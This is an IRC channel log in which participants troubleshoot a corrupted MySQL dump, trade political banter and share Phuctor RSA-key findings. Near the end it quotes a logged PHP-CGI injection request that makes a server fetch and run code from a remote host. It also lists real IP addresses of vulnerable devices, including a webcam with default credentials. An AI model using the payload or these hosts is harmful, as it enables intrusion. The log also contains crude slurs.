1639188;1491504274;ben_vulpes;"you know i really like this ubi idea; imagine the cambrian explosion of art and culture that would happen if people didn't have to work to eat, right? well imagine if *everything* were free, not just food internet and housing. it's not like we need tax receipts to pay for it, just increase the national debt a little! i doubt it would even come close to the cost of an f35 to make everything free." 1639189;1491504286;trinque;!~ticker 1639190;1491504287;mircea_popescu;i thought it's obvious ubi is for the incompetent sluts that are "going to college" and the assorted ghetto scum "tryna make it in dis game" 1639191;1491504287;jhvh1;trinque: Bitfinex BTCUSD ticker | Best bid: 1195.4, Best ask: 1195.5, Bid-ask spread: 0.10000, Last trade: 1195.4, 24 hour volume: 29527.58713279, 24 hour low: 1123.0, 24 hour high: 1197.0, 24 hour vwap: None 1639192;1491504290;trinque;no, please do 1639193;1491504309;ben_vulpes;ubi is a statal self-crit 1639194;1491504312;ben_vulpes;i think it's awesome 1639195;1491504316;ben_vulpes;also everything must be free 1639196;1491504317;mircea_popescu;not really avoidable. 1639197;1491504323;*;trinque 100% in favor of ben_vulpes' p-peddle to the metal m-morty approach to end of the state 1639198;1491504346;ben_vulpes;trinque: w-what?! i just want to make life better for historically disadvantaged groups! 1639199;1491504360;mircea_popescu;trinque i certainly don't see anything wrong with teaching the stupid how to be even stupider until the time they're actually ready to hands and knees. 1639200;1491504380;shinohai;Turned !~ud bqck on mircea_popescu ... cheers! 1639201;1491504387;mircea_popescu;a cool 1639202;1491504396;mircea_popescu;!~ud woke whore 1639203;1491504397;jhvh1;mircea_popescu: ERROR: 'woke whore' not defined on UrbanDictionary. 1639204;1491504399;*;shinohai had forgotten it twas disabled 1639205;1491504401;mircea_popescu;imagine. 1639206;1491504412;shinohai;!~ud Lemon party 1639207;1491504413;jhvh1;shinohai: Lemon party :: One of the unholy trinity of internet pictures which all must witness to be 'jaded internet users' (tubgirl, goatse, and lemonparty), lemonparty is probably the tamest of the three by just being hardcore old man gay orgy sex. Believe me, the other two are worse. [ex:] *upon seeing lemonparty* OH GOD MY EYES!!! [/ex] | Closly related to the infamous "[tubgirl]" site. If one goes to (6 more messages) 1639208;1491504440;ben_vulpes;what lemon party is jading now? 1639209;1491504452;ben_vulpes;how are sarin death videos not in that list 1639210;1491504457;asciilifeform;!~ud haskell 1639211;1491504458;jhvh1;asciilifeform: haskell :: 1 -- A general purpose, polymorphicly typed, lazy functional programming language largely based on lambda calculus. 2 -- A constant source of frustration for those who have been brainwashed by the OO paradigm. [ex:] You: How do I write a 'while' loop with Haskell?Me: You can't, freshman. [/ex] | A town in Northern New Jerse located between Ringwood and Pompton Lakes, smaller district of (5 more messages) 1639212;1491504459;ben_vulpes;whatever, thanks urban pricktionary 1639213;1491504473;asciilifeform;damn, i was quite certain i recalled it read 'sad coke hell' 1639214;1491504486;ben_vulpes;someone got butthurt no doubt 1639215;1491504493;mircea_popescu;what's the while loop to do with the "oo paradigm" ? 1639216;1491504495;ben_vulpes;not an erudite enough critique 1639217;1491504697;mircea_popescu;!~ud obama 1639218;1491504698;jhvh1;mircea_popescu: obama :: The Messiah for brain-dead Democrats. [ex:] No matter what he says, no matter what he does, they'll worship the great Obama. [/ex] | An acronym standing for One BigAss Mistake,America! [ex:] Q: What was the result of the 2008 election?A: OBAMA [/ex] | Has no real experience, because most of his time as "senator" was spent campaigning for his own election to President. Is praised (10 more messages) 1639219;1491504717;mircea_popescu;!~ud trump 1639220;1491504718;jhvh1;mircea_popescu: trump :: 1. To have superior power over.2. To surpass or outdo.3. When a person says "trump," you are required to do whatever you just claimed you would do, no matter how exaggerated it was. If you don't do it, you get a [spartan kick] to the chest. [ex:] 1. Bob: The president's word trumps yours, Joe, you homeless piece of shit. When he says something it must be done.2. Joe: Man, I'll trump your ass (5 more messages) 1639221;1491504748;mircea_popescu;!~ud bannon 1639222;1491504749;jhvh1;mircea_popescu: bannon :: When a person or animal gets high on a substance, often in unexpected places. This usually ends in chaos for everyone. [ex:] At school all my friends bannoned on sharpies. [/ex] 1639223;1491504755;asciilifeform;lol!! 1639224;1491504765;mircea_popescu;this is remarkably better than wikipedia. 1639225;1491504867;shinohai;"obama :: The Messiah for brain-dead Democrats. " <<< Accurate 1639226;1491505253;asciilifeform;in other noose, phuctor stats now ~unloadable 1639227;1491505280;asciilifeform;the rewrite might have to happen sooner rather than later. 1639228;1491505402;mircea_popescu;any ideas on probing and cutting large files ? dd freezes. 1639229;1491505416;asciilifeform;'ddrescue' 1639230;1491505431;mircea_popescu;i dun have it ;/ 1639231;1491505432;asciilifeform;(or 'dd_rescue', they are -- perversely -- separate proggies by separate people, that do ~same thing ) 1639232;1491505443;mircea_popescu;neither\ 1639233;1491505455;asciilifeform;it is similar to dd but will show progress, and retry bad reads/writes (showing you if your drive is hosed) 1639234;1491505464;mircea_popescu;i guess i'm naive to imagine standard tools can do the job of fixing the mess standard tools created huh 1639235;1491505468;asciilifeform;mircea_popescu: if you want 'what box came with', that means standard retarded unixland 1639236;1491505474;asciilifeform;and aha, mno. 1639237;1491505482;mircea_popescu;what i want is non-freezing tools. 1639238;1491505488;mircea_popescu;i dunno why this is such a tall order. 1639239;1491505496;asciilifeform;because unix. 1639240;1491505508;asciilifeform;it doesn't even have a concept of sane process interruption + resumption. 1639241;1491505514;asciilifeform;can stop literally anywhere. 1639242;1491505526;asciilifeform;(nor of sanely organized state) 1639243;1491505529;mircea_popescu;head doesn't work on a large file. 1639244;1491505539;mircea_popescu;explain this to me. however long it may be, IT STILL STARTS IN THE SAME PLACE. 1639245;1491505549;mircea_popescu;head must takle THE SAME TIME whether reading 1kb or 1pb file. 1639246;1491505562;asciilifeform;worx fine on 100+GB file here. 1639247;1491505578;mircea_popescu;i am plagued by cursed bs. 1639248;1491505585;asciilifeform;sounds like rotting disk 1639249;1491505593;mircea_popescu;i checked it and it's fine 1639250;1491505595;asciilifeform;( any signs thereof in, e.g., dmesg ? ) 1639251;1491505598;mircea_popescu;nope 1639252;1491505610;mircea_popescu;0 bad sectors also. smart looks good, whatever. 1639253;1491505632;mircea_popescu;copied multiple 100s of gb past hours, none failed anything. 1639254;1491505636;asciilifeform;if this is anything like past cases, mircea_popescu's box is peculiar in some way literally nobody else could possibly guess 1639255;1491505639;asciilifeform;and this caused it. 1639256;1491505650;mircea_popescu;i suppose. 1639257;1491505704;mircea_popescu;anyway, im dumping teh table as a sql and will be wanting to hack it up. but i have no tools with which to identify the CUT HERE spot 1639258;1491505743;asciilifeform;also mircea_popescu how didja know that 'dd hanged' rather than merely taking long time 1639259;1491505753;mircea_popescu;there is no "taking long time" 1639260;1491505765;asciilifeform;100G of dd takes ~hour here 1639261;1491505767;mircea_popescu;if it took longer than my refresh interval it hung. 1639262;1491505923;mircea_popescu;and in other lulz : apparently tail -n+x | head -n10 takes 4 times less than tail -nx+1 | head -n10 1639263;1491506079;CompanionCube;also, modern dd also has progress reporting 1639264;1491506090;CompanionCube;when using status=progress 1639265;1491506119;mircea_popescu;is 8.4 modern ? 1639266;1491506143;CompanionCube;Doubt it, considering my gentoo is on 8.25 1639267;1491506169;mircea_popescu;111119289 tril_posts.sql << that took ~5 minutes of wc time. 1639268;1491506313;CompanionCube;mircea_popescu: it seems the feature was introduced in this release: https://git.savannah.gnu.org/cgit/coreutils.git/tree/NEWS#n355 1639269;1491506320;CompanionCube;8.24 1639270;1491506330;mircea_popescu;apparently if you send it usr1 sig it will spit stats to stderr 1639271;1491506511;Framedragger;http://btcbase.org/log/2017-04-06#1639243 << this doesn't seem right. `tail` should work fine, too (it seeks to end of file and then rewinds, should be superfast on arbitrary sized files) 1639272;1491506511;a111;Logged on 2017-04-06 19:05 mircea_popescu: head doesn't work on a large file. 1639273;1491506555;mircea_popescu;im clocking MINUTES of cpu time. 1639274;1491506635;mircea_popescu;i can see the theoretical "benchmarks" online too. the problem is they're bs, "test file generated by seq 100mn". hurr. how about generate a file with lines of random length between 1kb and 1mb, then benchmark it. 1639275;1491506647;asciilifeform;is something hogging the disk ? 1639276;1491506659;asciilifeform;how long does it take to, e.g., touch foo.bar ? 1639277;1491506686;mircea_popescu;~0 1639278;1491506691;asciilifeform;then hm. 1639279;1491506694;Framedragger;mircea_popescu: recently had to tail multigb files, it was *instant* (because, seeks to end of file). seems like a disk prob to me 1639280;1491506704;mircea_popescu;meanwhile 0:29.14 tail < 1639281;1491506720;Framedragger;what does iotop (under root) say? 1639282;1491506732;Framedragger;(ah it's not installed by default i'm afraid) 1639283;1491506735;mircea_popescu;command not found 1639284;1491506750;Framedragger;should be in repo as `iotop` 1639285;1491506759;mircea_popescu;hoooly shit. 1639286;1491506802;mircea_popescu; tail -n+150000 tril_posts.sql | head -n5 > hurr.txt produces empty file ; meanwhile wc -l claims 111119289 1639287;1491506845;Framedragger;i am very interested in i/o of `tail` while it's running. wtf. would apt-get install iotop 1639288;1491506884;mircea_popescu;-- Dump completed on 2017-04-06 15:10:30 << at least i know for a fact i got an integral mysqldump. sadly it's 40.9 gb. 1639289;1491507334;mircea_popescu;and the mystery starts to unravel : the first 52mb of this file consist of ... one line of ^@ 1639290;1491507381;Framedragger;oof 1639291;1491507461;mircea_popescu;sed 's/^@//g' actually crashes :D 1639292;1491507484;asciilifeform;mircea_popescu: is it really ^@ or is that just what you get out of the terminal 1639293;1491507489;asciilifeform;what's the hexdump look like ? 1639294;1491507499;mircea_popescu;and what am i, mafalda ? 1639295;1491507503;mircea_popescu;how will i hexdump ? 1639296;1491507517;asciilifeform;yourthing | hexdump -C 1639297;1491507527;mircea_popescu;you're new here aren't you. 1639298;1491507557;mircea_popescu;here's a heads-up : head has been going for ~4 minutes. i expect it to crash without output. 1639299;1491507587;Framedragger;head -c 1000 | hexdump -C 1639300;1491507597;Framedragger;bytes, not lines 1639301;1491507603;mircea_popescu;ah that's an idea. 1639302;1491507604;mircea_popescu;lessee 1639303;1491507606;asciilifeform;simply pointing out, '^@' is terminal barf, not contents 1639304;1491507644;mircea_popescu;no im aware asciilifeform 1639305;1491507648;mircea_popescu;Framedragger bingo, "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" 1639306;1491507651;asciilifeform;( it suggests that mircea_popescu's sql dump isn't 7bit clean ) 1639307;1491507652;asciilifeform;aaaha 1639308;1491507663;Framedragger;mysqlol 1639309;1491507667;mircea_popescu;myeah. 1639310;1491507673;mircea_popescu;now then : how do i wipe null chars from file ? 1639311;1491507694;mircea_popescu;looks like i got about 40mb of them 1639312;1491507699;mircea_popescu;gb* 1639313;1491507765;mircea_popescu;mebbe tr halps. 1639314;1491507778;asciilifeform;sed -i 's/\x0//g' file 1639315;1491507814;mircea_popescu;tryin tr -d '\000' because sed crashed once already 1639316;1491507818;Framedragger;sed is only supposed to work on text files but hm.. also, one clunky way would be to hexdump whole file into hex.bin, then work with that 1639317;1491507821;mircea_popescu;(i suspect /g doesn't work well with mb lines) 1639318;1491507878;asciilifeform;cat file.foo | tr -d '\000' > new_file.foo 1639319;1491507899;mircea_popescu;\s what im doing 1639320;1491507948;mircea_popescu;sadly the output is over 8gb already. apparently i got more crap in there. 1639321;1491508022;Framedragger;wait how did you end up with that large ass file? sql dump? 1639322;1491508052;mircea_popescu;Framedragger myisamchk'd the extant MYI/MYD pair, got a db file which works but is too large, had mysqldump drop it as a .sql 1639323;1491508056;mircea_popescu;trying to clean it up and put it back in now. 1639324;1491508256;mircea_popescu;holy shit it returned! we're down to 25 gb now! 1639325;1491508411;asciilifeform;!!up gabriel_laddel_p 1639326;1491508411;deedbot;gabriel_laddel_p voiced for 30 minutes. 1639327;1491508460;gabriel_laddel_p;http://btcbase.org/log/2017-04-06#1639114 < I didn't realize that this "sharing" link would open in google drive. Here is a link to the same file that you can open in emacs, curl etc https://raw.githubusercontent.com/gabriel-laddel/masamune/master/slate-star-codex-no-wrap80.txt 1639328;1491508460;a111;Logged on 2017-04-06 18:16 gabriel_laddel_p: https://docs.google.com/document/d/1tQ8nHp2wWD-U4c7l8FbZgW3GJfhni78hDZJH4ihKSpI/edit?usp=sharing 1639329;1491508464;Framedragger;mircea_popescu: hm okok. an .sql file should not contain any non-printable chars so that in itself is alarming.. weird 1639330;1491508488;asciilifeform;Framedragger: it strongly suggests disk rot, imho 1639331;1491508529;asciilifeform;gabriel_laddel_p: what am i looking at 1639332;1491508541;asciilifeform;seems like a massive reddit paste ? 1639333;1491508543;mircea_popescu;Framedragger how do you figure ? 1639334;1491508564;gabriel_laddel_p;asciilifeform: http://btcbase.org/log/2017-02-14#1613716 1639335;1491508564;a111;Logged on 2017-02-14 00:14 mircea_popescu: gabriel_laddel_p if it could detect and wipe the idiotic wrap(80) thing that'd be great. 1639336;1491508609;gabriel_laddel_p;asciilifeform: in that conversation I dropped "rich webpage" & "text" archives into the log, which were OK'd, given that word-wrapping was removed. 1639337;1491508621;asciilifeform;aah 1639338;1491508629;mircea_popescu;o yeah check that out 1639339;1491508641;Framedragger;mircea_popescu: .sql is a set of statements which you can run on db to put it back into the state which produced the .sql in question, no? but, if there's mysql specific convention bullshit tho, i wouldn't know :/ 1639340;1491508657;gabriel_laddel_p;having both text & the js/images/etc prevents lizardhitler from "unhappening" headlines, while ensuring that DOM dumping and other crazy nonsense doesn't have to be implemented. 1639341;1491508665;mircea_popescu;Framedragger and if i store a jpeg the dumper is supposed to do what, base64 it ? 1639342;1491508685;mircea_popescu;asciilifeform i'm reasonably happy with the format tbh. 1639343;1491508712;Framedragger;i don't know how it would encode it, but in general, yes. more like, escape nonprintable chars with "\0" i guess 1639344;1491508726;Framedragger;but i'll check lest i'm talking out of ass 1639345;1491508737;mircea_popescu;i wasn't aware .sql is supposed to be a text file. 1639346;1491508770;Framedragger;seems mysql does not have a 'binary dump' option. so basically, yes 1639347;1491508827;Framedragger;typical small .sql is usually just a set of "INSERT INTO .. VALUES ..", but mircea_popescu is running a large escher megasite, so i'm less certain.. 1639348;1491508890;mircea_popescu;normally it'd be all text, but because it got fucked it got filled with crap. which the dumper can't discern from legit stuff. 1639349;1491508901;Framedragger;(i don't know about that "db" file, tho, i mean, that one's binary) 1639350;1491508928;mircea_popescu;notrly, mostly text also. 1639351;1491508931;mircea_popescu;MYD i mean 1639352;1491508933;Framedragger;(but output of mysqldump is *supposed* to be a set of sql statements.) 1639353;1491508944;Framedragger;i don't know what that is 1639354;1491508959;mircea_popescu;mysql stores mysiam rows as a myd / myi pair of files 1639355;1491508964;mircea_popescu;very much like our dear bitcoin really. 1639356;1491509021;*;CompanionCube can't speak for mysql but knows that postgres dumps can be a mixture of text and binary data 1639357;1491509086;CompanionCube;unless you specify the 'plaintext' format 1639358;1491509096;Framedragger;mysqldump appears to support text-only 1639359;1491509141;mircea_popescu;holy shit. 1639360;1491509145;Framedragger;but actually, i haven't run mysqldump in forever and not 100% certain about docs, so i don't know 1639361;1491509149;mircea_popescu;i don't imagine anyone can actually intuit what i in fact did. 1639362;1491509164;Framedragger;mircea_popescu: by text-only i meant the *output*, it can certainly handle binary blobs 1639363;1491509171;mircea_popescu;get a load of this : 1639364;1491509224;mircea_popescu;UPDATE table SET content field = '(the 2mb content of the post i wanted ADDED goes here)' 1639365;1491509239;Framedragger;(one internet says "No, it is not always reliable when you have binary blobs. In that case you MUST use the "--hex-blob" flag to get correct results." << untrusted source) 1639366;1491509246;mircea_popescu;which is how one ends up with a multi-gb db. apparently it got executed even though no ; at end or anything 1639367;1491509281;CompanionCube;why not just restore from previous DB backup if any 1639368;1491509298;mircea_popescu;aha. 1639369;1491509325;*;shinohai snickers 1639370;1491509499;gabriel_laddel_p;Oh, and I learned the price of lispworks - 4.5k 1639371;1491509522;asciilifeform;hah, only 30% up in 7y 1639372;1491510787;shinohai;https://pbs.twimg.com/media/C8n4cyrWAAQ_MIt.jpg 1639373;1491510857;trinque;texan as hell. 1639374;1491511062;asciilifeform;faek? 1639375;1491511147;trinque;probably 1639376;1491511182;trinque;https://www.state.gov/secretary/remarks/2017/04/269465.htm << wahahaha 1639377;1491511187;trinque;no, real. 1639378;1491511201;Framedragger;notbad.jpg 1639379;1491511304;shinohai;"We choose not to become involved with N. Korea's ongoing war with the sea" would have been more lulzy 1639380;1491511362;trinque;well, not everybody can snark on a qntra level. 1639381;1491511442;shinohai;This is why I am not Secretary of State. 1639382;1491511522;asciilifeform;lol @ 'Parental Child Abduction' page. 1639383;1491511599;asciilifeform;( where, one wonders, is the 'surplus sarin for ModerateRebels' page, order form) 1639384;1491511851;shinohai;So I noticed thestringpuller has changed his location on twitter from "La Serenissima" to " Wakanda " 1639385;1491511861;shinohai;Which begs the question, wtf is a Wakanda 1639386;1491511906;CompanionCube;https://en.wikipedia.org/wiki/Wakanda_(comics) 1639387;1491511924;CompanionCube;'Wakanda is a fictional nation appearing in American comic books published by Marvel Comics.[1] It is the most prominent of several fictional African nations in the Marvel Universe, and it is home to the superhero Black Panther. Wakanda first appeared in Fantastic Four #52 (July 1966), and was created by Stan Lee and Jack Kirby.' 1639388;1491511979;shinohai;A fictional cargo cult. 1639389;1491512137;*;shinohai goes back to remotely setting up a lovense .... 1639390;1491512167;mircea_popescu;oook... trilema is back online. 1639391;1491512177;mircea_popescu;please check your favourite articles for any upset! ty for your patience! 1639392;1491512248;CompanionCube;mircea_popescu: do you plan to write an article about mysql being a shit? 1639393;1491512282;mircea_popescu;how is mysql a shit ? 1639394;1491512404;CompanionCube;in the sense that it/the dump tool produced a overly-large 40gb file? 1639395;1491512417;*;CompanionCube doesn't think he phrased it correctly 1639396;1491512526;Framedragger;i mean even if mircea_popescu aborted a db write, it shouldn't have forked into gigs of crap?.. 1639397;1491512538;Framedragger;congrats on emerging alive on the other side 1639398;1491512554;mircea_popescu;Framedragger i dun think you've grokked the depths of my idiocy 1639399;1491512565;mircea_popescu;I UPDATED EVERY SINGLE CONTENT FIELD FOR EVERY ARTICLE TO THE NEW ONE 1639400;1491512570;Framedragger;oh, ah 1639401;1491512574;Framedragger;wowwwww 1639402;1491512575;Framedragger;:D 1639403;1491512583;Framedragger;wow even more congrats on emerging alive 1639404;1491512649;mircea_popescu;and then it crashed because suddenly turning 10s of ks of article into a 3mb turd inflated the db. 1639405;1491512668;mircea_popescu;and THEN i interrupted it so it lost its indexes too. 1639406;1491512725;Framedragger;not a bad eventual outcome at all 1639407;1491512759;mircea_popescu;the moral being that db engineers are made not born, and this is how. so unless you're willing to burn dbs, don't hire noobs to engineer your storage 1639408;1491512763;mircea_popescu;even if the noobs are yourself. 1639409;1491512819;ben_vulpes;utterly unrelated: https://68.media.tumblr.com/51e9183a4ac0ca21bb22fb702e5b6bc9/tumblr_oo0ak4Cl321w7wz67o1_400.gif 1639410;1491512880;Framedragger;mircea_popescu: so you went through every row checking if it has turd at start, and removing that turd? or found binary log to roll back the transaction (which should have aborted and rolled back, something something) 1639411;1491512892;shinohai;Hot as fuck ben_vulpes 1639412;1491512910;*;shinohai likes brunettes 1639413;1491512997;mircea_popescu;Framedragger i whined at person actually in charge of this who gave me the backup. 1639414;1491513035;Framedragger;hey backup&restore process tested successfully 1639415;1491513843;trinque;mircea_popescu: the fucking syntax though eh? cut all dicks off all males, then you back it down to particulars! 1639416;1491513867;trinque;I by way of a sad life always write the where clause first 1639417;1491513898;trinque;hell actually, cut the dicks off the females too! 1639418;1491513978;trinque;(wherein phf gets mad at me re: that's how set theory works and I scratch at my left stump) 1639419;1491514133;*;Framedragger considers linking to godel's ontological proof of god in Coq 1639420;1491514173;trinque;you keep your coq to yourself 1639421;1491514181;*;trinque wrenches his troll-switch back to off 1639422;1491514264;Framedragger;(apparently some couple of russians had a fight and one shot the other over a dispute regarding kant. i can believe that) 1639423;1491515757;asciilifeform;oh hey congrats mircea_popescu 1639424;1491515872;asciilifeform;in other new lulz, 191.96.249.97 - - [06/Apr/2017:21:12:20 +0000] "GET /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+max_execution_time%3D0+-d+disable_functions%3D\x22\x22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dhttp://191.96.249.97/ok.txt+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n HTTP/1.1" 1639425;1491516425;CompanionCube;O.o 1639426;1491516703;asciilifeform;elsewhere, Number of Microinverters 126 Number of Microinverters Online 110 << lel 1639427;1491516738;asciilifeform;(univ. of chicago) 1639428;1491517252;deedbot;http://www.contravex.com/2017/04/06/tesla-model-3conomics/ << » Contravex: A blog by Pete Dushenski - Tesla Model 3conomics. 1639429;1491517532;ben_vulpes;for my subros: http://68.media.tumblr.com/19b8e0d81c0a3baa31395cdf09f11326/tumblr_oh8zmoG4nG1r9640po1_1280.jpg 1639430;1491519219;mircea_popescu;trinque apparently. 1639431;1491519758;ben_vulpes;!!up fromloper 1639432;1491519758;deedbot;fromloper voiced for 30 minutes. 1639433;1491519771;ben_vulpes;fromloper: interested in factoring rsa keys? 1639434;1491519827;ben_vulpes;may have missed the window of opportunity/interest there... 1639435;1491519860;mircea_popescu;huh ? 1639436;1491519929;ben_vulpes;> 22:39:07, fromloper joins 1639437;1491519943;ben_vulpes;> 22:51:27 ben_vulpes ups fromloper to great crickets 1639438;1491519958;ben_vulpes;fromloper likely not even looking at browser tab anymore 1639439;1491520068;mircea_popescu;ah, whatevs 1639440;1491520499;*;shinohai just now noticed that comic sans "trilema" font that made him think of dogecoinz 1639441;1491520884;doppler;I didn't even notice it was comic sans until I happened to browse on my windows box 1639442;1491520945;fromloper;it's alive 1639443;1491520966;asciilifeform;wat 1639444;1491520988;ben_vulpes;ohey fromloper 1639445;1491520998;ben_vulpes;what brings ye by 1639446;1491521011;shinohai;Is it recent lulz? 1639447;1491521062;mircea_popescu;doppler it's only comic on windows. 1639448;1491521096;fromloper;I was hungry and I smelled smores. 1639449;1491521105;mircea_popescu;http://trilema.com/2017/phuctor-checkpoint/ << finally, the much belated article. 1639450;1491521110;asciilifeform;oh hey. 1639451;1491521111;mircea_popescu;to think i nearly lost trilema over this bitch! 1639452;1491521137;ben_vulpes;no...backups? 1639453;1491521159;fromloper;actually, I found sweet rants on clojure, and followed the crumbs. 1639454;1491521159;mircea_popescu;sure, backups. 1639455;1491521170;mircea_popescu;fromloper get a key, get a name, stuff. 1639456;1491521397;fromloper;thank you. I will. 1639457;1491521426;shinohai;I'm actually impressed some fromloper finally speaks 1639458;1491521432;shinohai;*someone 1639459;1491521447;mircea_popescu;not the first is it ? 1639460;1491521463;fromloper;someplurality. 1639461;1491521478;shinohai;First one I am privy to in recent memory. 1639462;1491521571;asciilifeform;!!up fromloper 1639463;1491521571;deedbot;fromloper voiced for 30 minutes. 1639464;1491521582;fromloper;fromloper studies his marshmallow, admiring its gentle bronzing in the crackling fire. 1639465;1491521752;asciilifeform;in other vintage finds, http://phuctor.nosuchlabs.com/gpgkey/233AA111786036F5FC0A4D9B780E25E18670BAE5AAB7A1A2EDF1F7BB9E1BB338 >> e.g., http://217.91.20.227 >> http://www.itfm.de/BNetz/index.html << 'Das Bürgernetz: Schnelles Internet auch in Ihrem Ort.' << all same key 1639466;1491522063;mircea_popescu;schnellerer that way. 1639467;1491522116;asciilifeform;clearly. 1639468;1491522144;asciilifeform;in other lulz, http://phuctor.nosuchlabs.com/gpgkey/F54008AE3FADA22531547A33562B62FD88ED9B238DF439A7ECD9DE2D1A1D8E2C >> http://www.schmid-telecom.com << all same key. 1639469;1491522152;asciilifeform;'3 WAYS VOIP HAS TRANSFORMED BUSINESS COMMUNICATIONS' didjaknow. 1639470;1491522171;deedbot;http://trilema.com/2017/phuctor-checkpoint/ << Trilema - Phuctor checkpoint 1639471;1491522231;fromloper;fromloper quietly pulls his poncho around himself and quietly retreats into the saguaro darkness, but his eyes are friendly, and he has been grateful for the warmth. 1639472;1491522273;mircea_popescu;guy sounds like a roguelike 1639473;1491522299;asciilifeform;http://phuctor.nosuchlabs.com/gpgkey/95BDC824F4603F27A029994EC048F1762845C33589B600720973BE2B93269201 >> SonicWALL << all same key. 1639474;1491522333;asciilifeform;and afaik not listed anywhere as 'cve' or whatnot. 1639475;1491522797;asciilifeform;http://phuctor.nosuchlabs.com/gpgkey/6A15537F612C3FD8268F8B468FD49CB09F81C56EE35DA5A7DA0AE05A1F9FCC19 >> 'OpenWrt Backfire 10.03' << all same key 1639476;1491522872;asciilifeform;http://phuctor.nosuchlabs.com/gpgkey/12E33F9E49E155F1A0FC54B92E8D60A589DE15017A5D4FC9B6F1D9E3046E615E << i'd still luvvv to know what these are, 111 modulus dupes, but none seem to ping. 1639477;1491523109;asciilifeform;^ http://110.171.185.7:8080/Docsis_system.asp << cable modems, apparently. 1639478;1491523113;asciilifeform;mostly asia. 1639479;1491523362;asciilifeform;or hm, no! all sorts of hardware. but all debianized. 1639480;1491523381;asciilifeform;looks like this brings us up to date re the dupemod champs. 1639481;1491523454;asciilifeform;bonus lulz: http://114.38.11.238:8181 << D-Link DIR-850L 1639482;1491523479;asciilifeform;125.227.247.104 ( and bunch of boxes ) have world-writable upnp (ddostron) 1639483;1491523492;asciilifeform;^ http://phuctor.nosuchlabs.com/gpgkey/BEA667C1EF91D984BD88D7965AB8DF307E51BB6993AE227460584AEFD36F3616 1639484;1491523540;mircea_popescu;ooobviously 1639485;1491523648;mircea_popescu;in other news, http://www.aljazeera.com/indepth/features/2017/04/destroyed-iraq-mosul-civilian-deaths-170405072214906.html 1639486;1491523665;asciilifeform;ooooh and : 1639487;1491523666;mircea_popescu;(no weddings were bombed, totally not the same as aleppo etc) 1639488;1491523674;asciilifeform;http://95.225.182.148/doc/page/main.asp << webcam. admin/12345 . 1639489;1491523680;asciilifeform;^ who has a winblowz box up ? 1639490;1491523705;asciilifeform;http://phuctor.nosuchlabs.com/gpgkey/67292F9B4E5202A528710EB964E9DE8072D79EA211065FA83B8414E214207E8F << all of them, i think. 1639491;1491523710;asciilifeform;pr0ncams. 1639492;1491523743;asciilifeform;http://wotpaste.cascadianhacker.com/pastes/OhvSO/?raw=true << from mircea_popescu's dump, for convenience of pr0ncam viewers. 1639493;1491523782;mircea_popescu;is it actually ? 1639494;1491523792;asciilifeform;i have nfi, 'need plugin to display' 1639495;1491523797;mircea_popescu;seem cheapo chinese surveillance cams 1639496;1491523804;asciilifeform;aha, megatonne of'em 1639497;1491523810;mircea_popescu;classical wall mounted thing with directional controls etc 1639498;1491523818;asciilifeform;yeah, them 1639499;1491523828;asciilifeform;but from here i cannot currently see through the cam. 1639500;1491523835;asciilifeform;it wants some browser plugin nonsense. 1639501;1491523837;mircea_popescu;check it out asciilifeform isis shot down a helicopter 1639502;1491523842;mircea_popescu;WITH AK FIRE 1639503;1491523850;asciilifeform;mircea_popescu: neato 1639504;1491523869;asciilifeform;know from what distance ? 1639505;1491523901;mircea_popescu;know from backchannels and the fact that the govt isn't making a point "oh, they had bazooka" 1639506;1491523948;asciilifeform;i meant -- it may be an incredible feat of akmanship, or a snore, or a lucky shot (ww2-style), depending on distance, neh. 1639507;1491523963;mircea_popescu;except it was a distance the helicopter actually flew at. 1639508;1491523966;asciilifeform;(and on which chopper) 1639509;1491524025;asciilifeform;( the sov chopper used in afghan war, famously , was immune to small arms fire ~except~ for window ) 1639510;1491524053;asciilifeform;american chopper in vietnam -- entirely transparent, like paper 1639511;1491524180;mircea_popescu;apparently two man craft so nothing too heavy 1639512;1491524201;asciilifeform;https://94.85.167.67/smartdomuspad/modules/system/externalframe.php << what are these -- i've nfi 1639513;1491524430;mircea_popescu;tons of them, google'd even. https://94.95.217.53/smartdomuspad/modules/system/viewmessages.php?op=manage&id= 1639514;1491525341;mircea_popescu;"black woman and former Mary Kay sales professional Ella Jones" ahaha 1639515;1491526813;asciilifeform;waiwat where 1639516;1491526817;mircea_popescu;qntra 1639517;1491527040;asciilifeform;aah found 1639518;1491528678;phf;http://btcbase.org/log/2017-04-06#1639429 << http://www.netlore.ru/upload/files/45440/piston_idrisov.jpg 1639519;1491528678;a111;Logged on 2017-04-06 22:25 ben_vulpes: for my subros: http://68.media.tumblr.com/19b8e0d81c0a3baa31395cdf09f11326/tumblr_oh8zmoG4nG1r9640po1_1280.jpg 1639520;1491528770;mircea_popescu;kek wtf is with the trying so hard 1639521;1491529475;mircea_popescu;!!rate skydragon 1 seems hardworking enough. 1639522;1491529485;deedbot;Get your OTP: http://p.bvulpes.com/pastes/Bpoix/?raw=true 1639523;1491529507;mircea_popescu;!!v 542F8B4F2D22F9C3744F50E79C0E158AC581AFAFA99C1104D0D79133F9A29744 1639524;1491529507;deedbot;mircea_popescu rated skydragon 1 << seems hardworking enough. 1639525;1491529826;shinohai;dem tats\ 1639526;1491530412;deedbot;http://phuctor.nosuchlabs.com/gpgkey/8C5D44A327B3D659D6AA6218C0999439639080DB27772A7D2086B50A76388C9A << Recent Phuctorings. - Phuctored: 1778...5487 divides RSA Moduli belonging to '209.173.135.172 (ssh-rsa key from 209.173.135.172 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (172.135.173.209.customers.safeschools.com. US OH) 1639527;1491530412;deedbot;http://phuctor.nosuchlabs.com/gpgkey/8C5D44A327B3D659D6AA6218C0999439639080DB27772A7D2086B50A76388C9A << Recent Phuctorings. - Phuctored: 1435...4107 divides RSA Moduli belonging to '209.173.135.172 (ssh-rsa key from 209.173.135.172 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (172.135.173.209.customers.safeschools.com. US OH) 1639528;1491530412;deedbot;http://phuctor.nosuchlabs.com/gpgkey/5A06175686D55EF9C17BB4D0087DEBC752EA7F60C837DE1E687BAE0D3F8BE9D0 << Recent Phuctorings. - Phuctored: 1791...6123 divides RSA Moduli belonging to '62.17.1.200 (ssh-rsa key from 62.17.1.200 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform 